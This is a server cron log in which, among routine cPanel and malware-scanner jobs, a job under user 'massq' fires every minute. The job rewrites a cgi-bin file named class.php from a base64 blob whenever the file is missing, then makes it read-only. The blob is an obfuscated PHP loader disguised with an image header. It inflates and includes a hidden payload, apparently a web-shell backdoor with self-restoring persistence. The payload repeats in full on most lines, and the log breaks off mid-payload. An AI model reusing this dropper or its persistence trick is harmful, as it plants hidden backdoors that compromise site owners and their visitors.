Apr 12 19:09:01 server CROND[3843]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:09:01 server CROND[3844]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 19:10:01 server CROND[3913]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 19:10:01 server CROND[3914]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 19:10:01 server CROND[3915]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 19:10:01 server CROND[3916]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:11:01 server CROND[4033]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:12:01 server CROND[4088]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 19:12:01 server CROND[4089]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:13:01 server CROND[4152]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:14:01 server CROND[4355]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:15:01 server CROND[4421]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 19:15:01 server CROND[4422]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 19:15:01 server CROND[4423]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:16:01 server CROND[4535]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:17:01 server CROND[4595]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:18:01 server CROND[4653]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:19:01 server CROND[4715]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:20:01 server CROND[4880]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 19:20:01 server CROND[4883]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 19:20:01 server CROND[4882]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 19:20:01 server CROND[4884]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 19:20:01 server CROND[4887]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:21:01 server CROND[5014]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:22:01 server CROND[5075]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0l